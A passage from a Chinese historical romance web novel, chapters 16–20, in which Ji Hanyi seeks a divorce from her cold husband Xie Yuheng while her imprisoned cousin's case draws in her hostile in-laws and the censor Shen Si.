她里头是粉色的蚕丝长袍,外头披着一件青绿色芙蓉衣,一头青丝披泻垂至腰际,素净的眉眼却在灯下含着一股带着病色的旖旎。
她咳了两声,声音一如她从前在他面前说话时的温顺绵软:“我没有闹脾气。”
“一直都没有。”
说着季含漪眼眸淡淡一垂,声音很轻:“当年我拿婚书来找你是我不对,如今三年还不算太晚,你不必愧疚,我们之间不会有埋怨。”
“大爷,你早日签下和离书,我早日离开,府里也能更高兴些。”
季含漪说完这句话,拢紧领口,往外间走去。
谢玉恒从床榻上坐起来,他看着她单薄娇小的身形消失自己面前,眼里不再是从前的那股温顺,她眼里的坚持异常的清晰,让他心里头竟生了股心慌来。
他不明白她到底还要闹什么。
他不明白她到底还要闹到什么时候。
他发觉他越发的看不懂她,夫妻三年,从前日子都这么过了,为什么就忽然闹了起来。
水晶帘子晃动的声音在安静的室内清晰,谢玉恒后知后觉的亦披了衣裳追出去。
外屋的容春见到季含漪从内屋走出来,亦是震惊的忙迎过去,又见季含漪身影单薄,身上只披着外裳,不由又伸手为季含漪将衣裳拢紧,担忧道:“少夫人的风寒还没好全,要做什么,怎么不吩咐下人?”
季含漪看着容春担忧的神色,低声道:“容春,去拿披风和风帽来,我要去书房。”
容春心惊,都这时候了,才从书房回来没多久,怎么又要去?
但看季含漪看来的目光,她愣了愣,还是忙转身去了。
身后谢玉恒跟出来,听到季含漪的话,声音里已经没有了刚才的温和,满是从前的冷清责怪:“含漪,你还要闹到什么时候?!”
“你还要怎么闹才满意?!”
“难不成你是因为我不肯帮你表哥的事情与我闹?”
第16章 思绪依旧被那女人牵扯。
季含漪没回头,低头将披在身上的衣裳穿上,动作依旧安静从容,待系好腰带,抬头时,对上的是谢玉恒那双含着责怪失望的眼睛。
那双眼里的情绪还有明显的不满与惊诧。
其实,说起来季含漪与谢玉恒之间虽没有什么夫妻情分,但两人的确也没有吵过。
谢玉恒不会吵,但他的眼神却比吵更让人心寒。
她深吸一口气,这一刻她忽然明白到了那种感觉,当厌烦一个人的时候,的确连吵架的心思都没有的。
她连与他争执这几年受到的冷遇,委屈和误会的心思都没有。
或许曾经的谢玉恒也是这般。
争执已经没有用了,谢玉恒永远都是高高在上的认定他以为的事情,也永远在偏心。
她再与他争论,也不过是将自己的伤疤再送去他面前,让他再血淋淋的揭开。
在此刻又说什么呢。
说当初那盏茶是李明柔打翻的么,说她常被婆母为难只是从未与他说过一句么,还说她其实从未针对过李明柔,他会信么。
他不会信的。
那便没有再说的必要。
从前他对她无话,如今她亦对他无话。
两人事到如今无话可说,只等那个结局,便是最体面的收场了。
季含漪往后退了一步,接过过来的容春手里的斗篷,抬头对上谢玉恒的视线,她情绪里平静的什么波动都没有,只是轻声道:“我没闹,我只求和离。”
“明日我将再写好的和离书送去你书房中,但请大爷成全。”
谢玉恒忽然嗤笑:“我明白了,明白你忽然为什么这么闹了。”
“你是在用这种方式逼我去帮你表哥?”
说着谢玉恒的眼神更加失望,眼里带着看穿她的失望:“含漪,我本就在大理寺,讲究的是公正,你表哥知法犯法,我没有为他求情的理由。”
“你最好歇了心思,我是不会帮他的,即便你这样闹也没有用。”
季含漪垂眸,她本从来都没将希望放在他的身上。
她表哥也没有犯大罪,他一句帮忙求情的话也不愿说,当初却为了李明柔那些来闹事争家财的亲戚动用了关系。
在他心里,孰轻孰重,他向来是分得明白的。
也好,她一开始便没打算求他。
季含漪此刻不想争辩,她只看着他的眼睛:“我知道你不会帮我,所以我从没在你面前提起过表哥的事情。”
“我没别的话说,只求一句好聚好散,皆大欢喜。”
“你如何认为便如何认为罢了。”
说完这话,季含漪从谢玉恒身边错身而过,带上风帽,冒着寒夜里翻飞的小雪,低头踏进夜色中。
谢玉恒怔怔看着院子里那个越走越远的背影,独自一人提着灯笼,幽暗的光线影影绰绰,如她忽远忽近的影子。
好聚好散,皆大欢喜。
谢玉恒不敢相信,这是从那个一直温顺软娇的季含漪口中说出来的话。
她一向性子糯糯,甚至于有些软,好似没有脾气,除了在对上明柔的时候。
他伸手在半空,忽生出一股再也抓不住她的错觉。
这个感觉出来的时候,谢玉恒想,怎么会呢。
季含漪是离不开他的。
一个和离了的妇人,谁还会愿意再娶她。
他深吸一口气,眯着眼睛看着季含漪离去的背影,即便她要闹,就让她闹去。
她半夜要出去受苦,也由得她去,他再不会纵容她了。
当她知道自己再也没有让步的时候,就该知道,大家族里,是容不得她这样胡闹的。
容春刚才听到了季含漪说的话,直到扶着季含漪走到了后廊,都没有反应过来。
书房内的炭火早熄了,一进来便一股冷气,容春又忙着去生炭火。
她端着炭盆送到靠在贵妃椅上的季含漪脚边时,还是没有忍住问出来:“少夫人要与大爷和离吗?”
季含漪低头看向容春,很认真的问:“容春,你也觉得我在闹脾气么?”
容春一愣,随即她摇头:“少夫人没有闹过脾气。”
是的,容春了解她。
知晓她从不闹脾气。
因为她知晓,只有至亲才能宠溺她撒娇。
她很明白的,谢玉恒不会容她任性。
所以谢玉恒到底从来也没有了解过她。
她要是闹脾气,早在谢玉恒一次次在李明柔的挑拨下偏袒李明柔时就闹了,不会在这个时候说和离。
她拉着容春在身边坐下,又看了眼屋内简单的布置,这时候过来,屋内也没个入睡的地方。
倒是有张竹榻,但上头没有被褥,这么冷的天睡上去也冷。
倒不是季含漪非要来这里受苦,只是她发觉这府里唯一能算作是她的地方的,好似只有这一间小小的书房。
书房里的每一样置办,都是她亲手布置的,不是谢府的东西,婆母也不会允许支给她银子来置办,这些都是她用自己的银子置办的。
再有她也没法子再与谢玉恒同床共枕。
曾经无比希望与他之间能有一个孩子,希望那个孩子的到来会让谢玉恒也能对她偏心一些。
她不是冷清的人,她也希望被护着疼着。
但她如今却只觉得庆幸。
幸好那个孩子没有来,那个孩子是无辜的,不该降临世间,却没有一个疼爱他的父亲。
季含漪往屋内看了一圈,从书案上的匣子里拿了一把钥匙给容春,让她去放她嫁妆的库房里拿两床被褥过来。
季含漪当初陪嫁的东西的确不多,除了外祖母给她准备的两套头面和一间铺子,在没有更多的了。
两位舅母给她陪嫁了两箱被褥,谢府用不上她陪嫁的东西,这会儿倒是派上用场。
容春很快去抱来了,两人一起铺在竹榻和贵妃榻上,倒是正好。
当季含漪睡在铺好的贵妃榻上时,她眉目舒展,心头千斤沉重的心思松懈了一半,又长长叹息一声。
容春蹲在季含漪的身边,看着包裹得同粽子一般的季含漪,一边将手里的汤婆子送进季含漪被子里,一边又轻声道:“我觉得现在的少夫人看起来比之前高兴些。”
季含漪一顿,转头看向容春,含笑道:“大抵是因为我心底松快了吧。”
“我真的觉得松快了。”
容春红着眼眶含泪:“如果少夫人和离后能高兴些,我也希望少夫人能够和离。”
季含漪握紧容春的手,心里还是有一丝忐忑的。
她开始并没有想到过谢玉恒会不答应和离,谢玉恒有多喜欢李明柔她是知晓的,现在谢玉恒没有一口答应下来,已经让季含漪心里生了一丝不确定。
她只想越快离开越好。
她又看向容春,轻轻点头。
另一边的沈府内,沈肆坐在紫檀木桌后,静静看了手上的信半晌,又放到了桌上,修长的指尖点在桌面上。
闭上眼睛时,是季含漪那张被风雪吹的微微发红的脸庞,眉眼妩妩,娇媚又娇小。
路过她身边时,又听见她隐隐约约的一声细细的咳。
沈肆的脸色在寂静中缓缓瞬沉下来,他抗拒刚才那一瞬,抗拒思绪依旧被那女人牵扯。
长吸一口气,沈肆仰头靠在椅上,那眼前又浮现出曾见过的凝脂如玉的皮肤,还有那起伏上的雪蕊红香。
沈肆深吸一口气睁眼,放在扶手上的手背上起了青筋。
这时候屋外传来求见的声音,握在扶手上的手掌捏紧,沈肆刚才含着欲望的脸色渐渐变得冷清,起身负手站在窗前,让外头的人进来。
等候在外的随从很快进来,他低着头,走到那道修长的身形身后三步远的地方,这才小声的开口:“小的去打听了,北镇抚司前几天的确抓了顾洵。”
“顾洵那天从国子监出来后,去了城郊的宁安寺,在那儿与一个乞丐老道探讨奇门遁甲术,刚好被被那儿的行事校尉给撞见了,又在身上搜到了书,便被抓了去。”
“不过顾洵一个文弱书生,却硬是扛住了北镇抚司的那些刑拘没交代,只说那书是捡来的,也不知书里头是什么,大抵他也知晓,要是承认了,案子送去刑部定了罪,就没了余地了。”
说着他一顿,又低低道:“但打听来的消息还有顾家二夫人给北镇抚司用刑的那两个小旗打点了不少银钱,可能也有这个原因,不然顾洵不可能能挺住这么久的。”
“不过那奇门遁甲之书,民间收藏的也不少,虽说的确违反律例,但也是小事,大多睁一只眼闭只眼便过去了,那些行事校尉却评这个抓人,不过是为着邀功升迁,细小缘由便咬着人不放,也不乏滥抓的。”
随从报告的很详细,以为大人是要整治北镇抚司那些小旗借着官小权大,收受贿赂的事情,所以又将顾二夫人怎么去行贿的经过又事无巨细的说了一遍。
沈肆听到最后,身形不动,摆手让随从出去。
他看着窗外,指尖转动在拇指上的扳指上。
季含漪为什么要来找他。
谢玉恒的姐夫就是镇抚使,只要顾洵还在北镇抚司,要让顾洵出来,又是这么小件事情,算不上难。
他原以为这事刑部干预了进来,或者案情另有牵扯,那的确是有点棘手的。
她为何不直接找谢玉恒,却来找他。
这么一件小事,需要她求到自己这里来么。
第17章 搬出主屋
第二日一早的时候,季含漪没往主屋,上回婆母让她养病,她也不打算去问候了。
正好与谢玉恒已经提了,这几日也好收拾她的东西。
谢玉恒早上起身时,丫头进来伺候,不过是少了一个人,屋内便空荡荡的,心里头难免不升起一股郁气。
什么时候季含漪会这么不识大体。
为了一个表哥,便与他闹到了这个地步。
她是他的妻,难道就要看着他徇私枉法,她才满意么。
往后若是他的官职愈高,她岂不是常在外收受好处,帮衬着外家。
这是谢玉恒不能忍受的,他的妻也不该是这样,容易引出祸事来。
这回若叫季含漪如了愿,下回杀了人也帮着么。
外头湿冷的寒气袭来,谢玉恒出到外头,尽管心里这般想的,却还是没忍住往后廊去。
只是站在远处,看着那一抹灯火,到底又转身,不愿先服这个软。
季含漪在书房用了早膳,早上婆子送来的居然是熬好的燕窝粥和鸽子汤。
早膳吃什么,都是厨房按院安排的,若是要吃这些,便要自己送东西去让厨房的做。
季含漪从未送去过。
那婆子在旁小声道:“这些都是大爷吩咐的,说少夫人病了,让给少夫人养身子的。”
季含漪静静看着,这份迟来的关心,到底叫她泛不起任何情绪了。
她其实与谢玉恒之间的确没有大得不可开交的事情,她在谢府的一应用度,也如谢玉恒说的,不曾亏待过她。
但谢玉恒永远都不会懂,他自然而然的偏袒,婆母那双看她防备又责怪的眼睛,还有谢家其他人那若即若离,不冷不淡疏远,他们都是在看他的眼色。
他不喜她,全府上下的都知晓。
他自己更知晓。
季含漪虽说嫁来温顺,但她也有骄傲。
早膳她只草草吃了些,又看向婆子缓声道:“往后让厨房不必做了,还是从前的那些就是。”
婆子一愣。
她实不明白,从前大爷对少夫人冷淡,从未体贴关心过少夫人这些事,但现在大爷开始关心少夫人了,难道不好么?
不管谢府其他人背地里是如何说少夫人不得大爷喜欢的,但她们兰雪居的下人们都是喜欢少夫人的。
他们知晓少夫人不管公中,嫁妆也不多,但每逢年节,却自己贴银子出来赏赐。
还有下人里谁家要有个难处,少夫人也自己补贴帮衬,对院子里的下人更是温和和气,奖罚分明,不偏袒也不过严苛。
要说哪个院里的下人过得最和气舒坦,也只有兰雪居了,院子里的下人也都希望大爷和少夫人好好的,希望大爷能见着少夫人的好。
那表姑娘看着柔弱温和,却总来挑拨离间,她们也是暗暗为少夫人不平。
张嬷嬷忍不住道:“这是大爷的一片心意,万一大爷知晓了寒心呢。”
季含漪笑了笑,抬头温和对上张嬷嬷的眸子道:“无妨的,你们不用担心。”
张嬷嬷愣了愣,实在不懂少夫人怎想的。
到底也是下人,不好多嘴,只好应了。
上午的时候,季含漪回了主屋,让容春将她的东西收拾着,先搬去书房。
她的东西也不多,因她带来的东西本也不多。
这屋子里她的东西,其实大多是嫁来谢府时置办的。
妆案上的胭脂水粉,那一匣子的首饰,还有衣箱里的衣裳,只有几件是她的。
季含漪让容春只收拾自己的东西,其余的都留下,免得到时候走的时候闹得难看。
她说实话,她不怪谢玉恒,他只是不喜她,并没有错。
当初自己若不来找他,或许他也与李眀柔举案齐眉,所以她只想离开的两边都体面,没有怨怪。
收拾的东西的确是少,简直少的可怜。
小小的一个箱子,还没装满。
候在帘子外的丫头见着容春抬出去的小箱子,脸色惊疑不定,心里头不知道怎么有点慌,总觉得院子里要出大事了。
初升起的光线缓缓投过雕花窗从外透进来,斑驳的光影落在季含漪身上,她往周遭看去,屋子里的每一处摆设,在她当初刚踏进来这里的时候,都曾用过心的。
她那时候知晓自己要与谢玉恒过一生,要好好过日子,她精心布置着,可越到后来,她越发现,原来那一直摆在多宝阁上的两个小泥人,是谢玉恒与李眀柔小时候一起捏的。
院子里的茶常常是金陵春,是因为李眀柔喜欢喝。
院子外头种下的那棵梨花树,是谢玉恒与李眀柔一起种下的。
就连屋内摆设的屏风,也是李眀柔喜欢的花鸟。
那些东西她碰不得,这处屋子,原来原本就不该属于她。
季含漪走到窗前,推开窗便能看到那颗枝繁叶茂的梨花树,她看了三年,多少隐忍难过,都已将要烟消云散了。
季含漪看了看,又低头看向手心里捏着的那块玉佩,外头守院门的丫头又进来,站在季含漪身后小声道:“少夫人,前门来传话说顾家二夫人来了。”
季含漪一顿,心里知晓为着什么事,只幸好二舅母没有直接找去婆母那里去。
她收好玉佩,让下人去请二舅母进来,又让人去备茶。
外头很快传来急匆匆的脚步声,是刘氏满脸憔悴的进来。
季含漪过去扶着刘氏往罗汉榻上去坐,又让屋内丫头全退下去。
她还没来得及说话,刘氏就已经紧紧握住了她的双手。
那双带着血丝的眼睛紧紧看着季含漪,把手里的匣子往季含漪的手里推过去:“含漪,为什么你表哥还没有被放出来?"
“你知不知道万一你表哥被拷打招认了,那就定罪了!”
“玉恒是怎么说的?他们是不是要银子?”
“我只能凑这么多了,含漪,你快说句话啊。”
“你知道的,我唯有你表哥了,你二舅舅也死了,我就你洵表哥一个指望……”
第18章 夫妻竟过成了这般
季含漪心尖尖发紧,神色伤心,她看向刘氏,低声道:“这件事舅母信我,等明日一早,我便给舅母答复。”
刘氏却摇头焦急:“这件事这么几天了,你还要拖着?你表哥能受得住那些酷刑?”
“你要说不上话,你带我去见玉恒,我亲自跪在他面前让他求情去。”
季含漪闭了闭眼睛,深吸一口气道:“舅母,谢玉恒不会帮我们的,求他没用。”
刘氏瞪大眼睛看向季含漪:“你这是什么话,你是谢玉恒的妻,她为何会不帮着你?还是是你不愿帮你表哥?”
“这不过一句话的事情,他怎么会不帮?”
季含漪苦涩的看着刘氏:“表哥私藏妖书这事,舅母觉得事大么?”
“况且表哥现在人仍旧在北镇抚司,只要北镇抚司的沈抚使路元肯放人,的确是谢玉恒找他姐夫说一句话的事情。”
“出了这事,洵表哥定然也说了与我的关系,路元也定然会让人去问谢玉恒,谢玉恒的意思就是路元行事的意思。”
“这么久了不放人,舅母不明白么,是谢玉恒不肯帮,甚至他可能让路元秉公办理,而不是路元抓着不放。”
这些其实季含漪早就想明白了。
在那天晚上季含漪打算与谢玉恒说和离的事情的时候,而谢玉恒却说他知道她要说什么的时候,她就想明白了。
她是那晚上收到的外祖母的信,谢玉恒定然也是在那晚知道的消息,定然是路元来问过他。
他说他不会帮她,说明谢玉恒没让路元放人。
所以她早知晓,求谢玉恒帮忙,不过是自取其辱。
刘氏脸上大惊失色的看着季含漪,有些不敢相信刚才听到的话。
她怔怔失神,眼神紧紧看着季含漪:“你是谢玉恒的妻,他为何不肯帮你?”
“你是不是胡说的?”
季含漪苦笑:“舅母,我何必看着我表哥入狱?”
“还请舅母再等我一日,我明日一早定然给舅母法子。”
刘氏怔怔的看着季含漪,眼神是浸透的失望:“你嫁入谢家三年,竟然这般没用。”
“我能指望你什么呢?”
“你连你夫君都笼络不好,你能有什么法子。”
说着刘氏一下从罗汉榻上下来,眼神又渐渐变成了愤怒:“要是你会笼络好谢家的人,洵儿何至于受这么大的苦!”
“可笑啊,夫妻竟过成了你这般。”
“成婚三年,不曾让你管家,连夫君也与你异心,你无用啊!”
刘氏从季含漪的手上抢过了刚才塞进季含漪手上的那只装着银子的匣子,后退几步,一转身便走了出去。
容春站在季含漪的身后,刘氏那些话也全听见了,不由难过的低头看向季含漪的神情。
被身边的亲人这般说,少夫人心里该多伤心。
这些年少夫人做的已经够好了,谢大夫人那么挑剔的人,除了在子嗣上刁难少夫人,其他的全挑不出少夫人丝毫差错。
大爷心里至始至终有别人,看不见少夫人的好,又怎么能怪少夫人呢。
她弯腰想说安慰的话,却觉得自己都难过的说不出话来。
季含漪脸色微白,指尖捏紧在小坑桌一角,面前的两盏茶一口未动,热雾蔓延,那声无用,划开了她心口的口子
仿佛她这一生只为了讨好夫君,即便夫君不爱她,讨好不了,便是她无用。
季含漪撑着小桌站起来,抬头对上容春伤心的神色,她低声道:“没关系的。”
“很快就过去了。”
说着季含漪修整好情绪,又往外走。
容春赶忙追上去问:“少夫人去哪儿?”
季含漪抿唇,到了院门口,看到舅母离去的方向,心下便是了然了。
舅母定然去找她婆母去了。
她心一顿,忙在后面跟上,可惜,刚才她的话还是没能劝得住,谢家人人冷漠,谢玉恒不管,大夫人更不会管了。
可她到底还是慢了一步。
步子还没有踏进正堂,便听到谢家大夫人那独有严肃的声音:“顾二夫人用这些钱财来侮辱我们谢家清名?”
“我们谢家难不成如今落魄到要靠着徇私枉法来过活了不成?”
“我家老爷是在宣州任知府,不是府上没人了,也不是被贬去了地方,是不容得了你这般来侮辱的!”
季含漪这一刻抬头看向屋檐上那光秃秃生出来的枝丫,冷天寒气逼人,阴沉沉一片。
她闭了闭眼睛,唯有她知晓,求谢家的人都是自取其辱。
林氏连账目管事都不让她过问,处处防范着她拿了谢家一厘,怎么会肯出力帮着她的外家。
闭目微整了整情绪,季含漪才叫人去通传。
进往正厅的时候,母舅坐在林氏下首,满脸慌张,一室寂静里,所有目光都看在季含漪身上。
林氏见着季含漪进来,似气得不轻的模样,抬手一拍就用力拍在身边小桌上,发出啪的一声。
她指着季含漪,怒声道:“你外祖家的事竟然闹到了我这儿来,你未给玉恒添个一儿半女倒罢了,还成天给我惹出些麻烦事来。”
“早知道玉恒娶了你,是娶了一堆麻烦进来,当初还不如做个恶人,违了婚约就是!”
站在林氏身后的谢锦也皱眉看向季含漪:“含漪,这是你外祖家的事情,挨不着谢家什么关系,你这样做不是给母亲添堵?”
“今日我特意过来一趟,便也是打算来找你的,你表哥那事,我夫君帮不了你,且你既已嫁入了谢家,是谢家妇,该一心为着谢家,而不是将心思在外人身上。”
谢锦便是府上的大姑娘,嫁给了北镇抚司的镇抚使路元。
她嫁的好,嫁给了握有权柄的路元,每回回娘家的阵仗自然也大,所有人都要奉承着她。
但谢锦唯一喜欢与她说教,指点她应该如何侍奉好林氏,如何侍奉好谢玉恒。
在她眼里,自己嫁给了谢玉恒是自己修来的天大好福气,而她是谢玉恒长姐,自己便该全然都听她的话。
第19章 季家女儿不要嗟来之食
从前季含漪能忍受,是因为她知道自己要在谢府过一辈子,知道谢玉恒最不愿看家宅不宁,闹成一片。
她处处隐忍着,在他面前维持着一府和乐的表象。
她未在外言过一句谢府不好,也未在内争执过一言长短。
她们习惯了在她面前颐指气使,也是知晓她身后已无人撑腰了。
季含漪抬头对上谢锦的视线,拢着袖子,站得笔直,她声音历来含娇带柔,说话好听又柔顺,但这回声音里不似从前,带着微微的凉意:“大姐不必说这话,我自嫁入谢家三年,带来了何麻烦事?”
“既说到这处,便请大姐详说。”
“我外祖家的事除了这件事,哪件麻烦过谢家?”
“就连我母亲病重,逢年过节,大爷也不曾与我回去过一回,何来的麻烦了谢家什么。”
谢锦愣了愣,没想到季含漪如今还有顶嘴的时候。
自来是谢家大姑娘的排头,万事喜欢指点,这会儿当着众婆子丫头,还有满堂的人被驳了面子,脸色一下子变得难看。
她咬牙道:“过去的那些事今日不必提,但说今日你舅母找上来这件事,算不算你惹出来的麻烦?”
季含漪淡淡眉眼看着谢锦:“什么麻烦?”
谢锦脸色一沉:"你让你舅母来麻烦我母亲,让我夫君徇私枉法,你是要害了我夫君不成?!"
季含漪脸上没有情绪,她声音很静的道:“一来你没帮,何来的害了你夫君?”
“二来我表哥也不是犯了大罪,缘何到了这地步,你心里明白。”
“三来,我舅母只是来请求,并不是逼迫,礼仪先至,并不是无礼,若是不帮,便大方说明便是。”
“我嫁来谢家三年,也唯一只叫我舅母来求过这一件事。”
"你若愿意帮,我与舅母必然感恩戴德的报答,你若是不愿意,我与舅母也没怨恨,两家不是有大怨,更没有大恨,我舅母更未在这处撒泼。"
“于情于理,我舅母未有做不得体处。”
这番话听得堂上一静。
所有人都明白季含漪说的没错。
她嫁至谢家三年,安安静静的做事,外祖家的事情,连平日里闲聊都未提过一嘴。
去岁冬日,她母亲病重,正逢着过年置办,季含漪亦是白日里帮着林氏打点布置,夜里才抽空回了一趟看望自己母亲。
这事一直没人知晓,还是那晚林氏有事找季含漪,才知她晚上去了照顾病重的母亲,才知她母亲病重了。
连谢玉恒都不曾知晓。
于情于理来说,季含漪没有说错,除了这一件,她没给任何人添过麻烦。
上头林氏听了这番话,也自知自己有些不占理。
刚才刘氏处处卑微,礼仪周到,不过是她瞧不上顾家门第罢了。
顾家如今还剩什么?顾家二老爷死在路上,大老爷还不知道能不能回呢,小辈单薄,她早不放在眼里了。
但季含漪这么当着众人的面反驳出来,还是让她不高兴,声音也沉下来:“锦儿说那些话也是提醒你自省,别以为嫁进了谢家,便总想着借谢家的好处。”
“那不乱套了?”
下头刘氏听了这话,目光不由看向站在正堂中间的季含漪。
这一瞬间她才明白过来,季含漪在谢家是如何的处境。
自己刚才冲动过来一趟,却给含漪惹了麻烦事。
不管怎么说,顾家内里那些往事也是内里的事情,如今谢家的一个出嫁的姑娘也来颐指气使的欺负季含漪,她是听不下去的。
再有,这谢家大夫人这番话,字字句句她听得讽刺。
她也明白了,再求,谢家人也不会帮忙。
她这才想起刚才季含漪的那番话,谢家若是愿意帮,早就帮了,何必拖了这么些天。
她一下站起来,看向谢大夫人:“借谢家的好处?”
“我外甥女借过谢家什么好处?”
“她安分守己的呆在谢家,如今凭空来说我外甥女的不是?”
“今日我外甥女本拦着不让我来,是我执意要来的。”
“我原本想着,不大点的事情,与谢家也算沾点亲戚,便来求一求,哪成想被如此奚落。”
“我顾家如今是落魄,是比不上谢家,但也是有骨气的,也见不得我外甥女被这般诋毁。”
说着刘氏捧着她带来的千两白银,背脊一直,看着林氏:“今日我是不该来走这一遭,连累了外甥女不说,反还遭了羞辱。”
“但我问心无愧,你们且放心,今日之后我再不会踏门,也请别为难我外甥女。”
刘氏说完转身时看向季含漪,眼眶通红,长长叹息一声,低声道:“这亲事当初是谢家大老爷求你父亲定下的,可你父亲一出事,人走茶凉。”
“之前那些话我错怪了你,你在谢家不易,我不给你再添麻烦。”
“这大抵就是命,有时候没法不认。”
刘氏说完跨过门槛就走,头也没回。
季含漪侧身看向舅母的背影,又无声的吐出一口气。
林氏听着刚才刘氏走前的那几句话,脸色阴沉下来,却生生反驳不了一句。
她都忘了,这亲事是老爷求来的,这么多年没有人提起来,如今再被提起,她觉得生了股恼恨。
这股恼恨忍不住就要对季含漪发泄出来:“你这是在借你舅母的口说对谢家的不满?”
“这几年你在谢家,是谢家苛待你了?”
季含漪回头对上林氏的视线:“未曾苛待。”
林氏就冷笑:“那顾二夫人刚才那番话是什么意思?说什么人走茶凉?要真人走茶凉,当初玉恒就不会娶你了!”
季含漪声音淡淡:“谢家当初娶我也不过是因为婚约,在这件事里,我做错了什么呢?”
说完季含漪只觉得满身疲惫与讽刺,又道:“母亲也要明白,不是我逼着大爷娶我的。”
“其实当初我去找他,若是他说一句不愿,我就会撕了婚书。”
“父亲虽已不在,但我是季家女儿,季家女儿不会要嗟来之食,这段姻缘更不是谢家施舍给我的。”
第20章 素不喜他夫人
埋藏在心底已久的话,终于是说出来了。
这三年里,谢家的所有人都觉得她嫁给谢玉恒是谢家施舍给她的。
包括谢玉恒自己都这么认为。
所以他们天然的站在高处,对她指手画脚,指点江山。
林氏瞪大眼睛看着站在下头的季含漪。
她穿着浅黛色衣裳,眼眸不冷不暖,青绿耳坠平稳无波,虽是恭敬的如寻常的每一日那样站在下头,但今日却叫林氏看得心口一阵一阵的发堵。
她指着季含漪,半晌却不知说什么。
这门亲其余人不知晓怎么定下的,她知晓,老爷知晓,老太太知晓。
当年季含漪的父亲季璟可谓是天纵奇才,不仅生的伟岸俊美,又高中探花,还深得当时沈首辅的器重,一介没有任何背景的贫寒书生,短短七年,就成为了监察御史。
要知道监察御史虽说只是七品官,但权利之大,又容易出政绩,往上升迁也不过三五个年头。
果真,没几年就又升迁到了大理寺少卿一职上了。
那一年,她家老爷的确出了点事,当时她家老爷是盐运司同治,因得罪了人,被监察御史诬陷受贿支盐,是季璟驳回了刑部的罪名,为她老爷平了冤屈。
后来她老爷送去感激的东西全被退了回来,又想无以为报,便提出两家结亲。
起初季家不愿答应,但自家老爷苦求,保证了往后只娶一妻,绝不纳妾,季家才答应了。
这些事林氏未同任何人说过,刚才被顾家那个提了一嘴,自己现在脸上就觉有些挂不住了。
陈年往事,不提起来,她都忘了。
旁边谢锦是不知道这些事情的,她听罢季含漪的话,冷笑:“你当初那处境,除了我弟弟肯娶,谁还愿娶?”
“谢家愿娶你,你不感恩,非要恩将仇报是不是?”
林氏打断谢锦的话,低头看向季含漪:“过去的事情就没必要提了,你已经同玉恒成了婚,那些事,也没有提起的必要。”
“你表哥的那件事,谢家的确帮不了,你也早早与你舅母说清了。”
季含漪看透一切,她微微站直:“母亲放心,不会麻烦了谢家的。”
说完季含漪垂眸,告退出去。
林氏看着季含漪离开的背影,从刚才的情绪里出来,又去喝茶缓气。
谢锦有些忍不住的坐在林氏的身边问:“刚才母亲为什么打断我的话?”
林氏看了谢锦一眼:“这些事没必要说,你知道你父亲的,当初你父亲极力让玉恒一定要娶季含漪,一言拍定,不管其他的。”
“这事也没什么好说的,你父亲性子固执,要让他知道你说这些话,你父亲不得训斥你。”
谢锦一怔。
想起三年前弟弟拖着不愿去提亲,母亲也提议这门和季家的亲事算了,给季含漪补偿一些就算了,成全了弟弟和李眀柔,但父亲大发了脾气,说这是不义,那往后母亲就没敢提了。
事实也是,只要父亲坚持,当时无论如何也要娶季含漪的,没人敢忤逆。
但她又忍不住开口:“可今日她还顶撞母亲……”
林氏揉着眉心:“罢了罢了。”
说着她看着谢锦问:“这事若是帮的话,好不好帮?”
谢锦便道:“夫君说也不是什么大罪,但我夫君问过了玉恒,玉恒说秉公去办,这事我就没问了。”
林氏叹息:“是玉恒的性子。”
谢锦就道:“要我说本来也不该帮,就怕开了头,往后没个休止了怎么办?”
“顾家也就那样了,谁知道往后还有什么事?”
林氏倒是点头:"也是你说的这个道理。"
季含漪回了院子,才一靠在贵妃榻上就咳了好几声。
手里紧紧捏着手炉,脚边炭火的暖气从脚下升往身上,她看向窗外,问了容春时辰,又垂眸看着炭火出神。
另一边路元脚步匆匆的穿过都察院仪门,又跟随着小吏往二堂去。
站在二堂大门外,路元的心里七上八下的狂跳,不知这位都御史大人缘何叫他过来。
听说今日都察院的还请了他手下两个小旗过来,他心里总没个落低。
要知道沈肆自上任都御使以来,那就是个铁面阎王,从来没有留情过,京城哪个敢撞上这位。
身份又是皇后娘娘的亲弟弟,还深得皇上信任,要自己真有个事情,恐怕是脑袋不保了。
京城到处都是都察院的眼线,他现在心里头将自己这些年做的事情来回扫荡,就怕漏了一件。
他浑身紧张,连请他入内的声音都没有注意到,还是被门口的人推了下才反应过来,赶紧躬身往里头走。
二堂算是私下处理公务的地方,所以处处布置的很是雅致。
路元是第一回来这里,心里忐忑,后背落了满身的汗。
他虽是从四品的官,但在沈肆面前,全然是不够看的,都察院监察百官,沈肆一句话,自己可能就要被抄家流放。
他往里走去,首先入目的是他手下的两个锦衣卫小旗跪在地上瑟瑟发抖,路元的心已经到了嗓子眼儿去了,来不及说话,就跪在了地上,朝着坐在长案后似在低头处理公务的沈肆行了跪拜大礼:“下官拜见都御史大人。”
沈肆听到声音,那双丹凤眼微微一抬,就看向跪在地上的路元,又眼睛一垂,没再看他。
退思堂内久久无声,路元却头都不敢抬。
修长手指上的笔在纸上落完最后一笔,沈肆才终于搁了笔,看向跪在地上的路元:“路镇抚使来了?”
路元赶紧应下。
沈肆脸上依旧是矜贵的冷淡,声音里是公事公办的冷清:“你不必行此大礼,本官叫你过来,不过是让你来认两个人。”
路元一下子就明白过来沈肆的意思,看向跪在地上的那两人,不就是刑房的那两个小旗么。
他忙朝着沈肆道:“这两人的确是下官手下,敢请问御史大人,他们究竟犯了何罪?”
沈肆坐在上首,神情疏冷,那头顶的匾额悬挂着肃纪正纲四字,无形便沉沉压下了压力,让路元几乎顶不住。
沈肆冷笑一声:“那路镇抚使倒是管的好手下,一个个贪赃枉法,私受贿赂。”
“本官现在倒是想知晓,是你纵容手下,还是你言传身教?”
不轻不重的声音,路元却被这话吓了一跳。
他赶紧跪下去朝着沈肆道:“还请大人明鉴,下官的确不知情手下居然犯此大罪,下官也从未收受过贿银。”
路元这时候也不争辩那两人是不是收了银子。
沈肆既然把人叫到了这里,那定然是有确凿证据的,要是争辩,反而雪上加霜。
再有,自己的手下他知晓,从那些被抓捕进来的人身上捞油水是常有的事情,他手下的人也知道孝敬,他也就睁一只眼闭一只眼。
真说起来,或者深查起来,他也要遭殃。
只是他万万没想到,沈肆居然将眼睛放在了这些小吏身上。
两个小旗的错处他竟也知晓,不由又对沈肆害怕了一分,自己平日里小心谨慎,但万一被抓住了把柄呢?
就如这次,真要治罪,沈肆往上一封奏折说他玩忽职守,纵容手下,那他官职都保不住了。
沈肆负着手,颀长的身形走到跪在地上的路元面前定住:“哦?我得来的消息是,贿赂这两个小旗的人,是顾家的二夫人。”
“据本官所知,顾洵被东司房的人抓来送去了你那里,一直没招认。”
